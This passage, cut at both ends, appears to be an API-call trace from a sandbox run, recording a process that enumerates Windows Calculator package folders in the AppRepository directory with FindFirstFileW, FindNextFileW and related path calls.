lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c9dfeb, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe3c9dfeb, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe3d5cd3d, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.206] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.207] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x8c [0221.208] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e314ea, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b938ba, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.210] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e314ea, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b938ba, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.210] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55880b0b, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55880b0b, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x559d80f9, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.211] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b938ba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c2c343, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.211] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557c1dda, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x557c1dda, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55880b0b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.211] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.211] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.212] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x8c [0221.212] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e314ea, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b938ba, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.213] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e314ea, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b938ba, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.213] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55880b0b, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55880b0b, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x559d80f9, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.214] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b938ba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b938ba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c2c343, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.214] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557c1dda, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x557c1dda, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55880b0b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.214] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557c1dda, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x557c1dda, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55880b0b, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0221.214] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.215] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0221.215] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1510.9020.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c52588, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.217] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c52588, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.217] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a96ece, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55a96ece, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55bee13e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.217] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52588, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56ceb0d2, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.218] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559fe41f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x559fe41f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55a96ece, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.218] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.218] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.219] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0221.219] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1510.9020.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1510.9020.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c52588, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.221] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56c52588, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.221] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a96ece, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55a96ece, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55bee13e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.221] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52588, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56c52588, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56ceb0d2, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0221.221] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559fe41f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x559fe41f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55a96ece, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.221] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559fe41f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x559fe41f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55a96ece, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0xec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0221.222] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.223] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0221.223] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0221.223] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0221.224] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0221.225] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x55c86ac0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55c86ac0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.227] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x55c86ac0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55c86ac0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.228] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c86ac0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55c86ac0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55d1f366, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.228] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55bee13e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55bee13e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55c86ac0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.228] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.228] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.229] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0221.230] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0221.230] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0221.230] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0221.231] FindFirstFileW (in: lpFileName="C:\\Users\\All 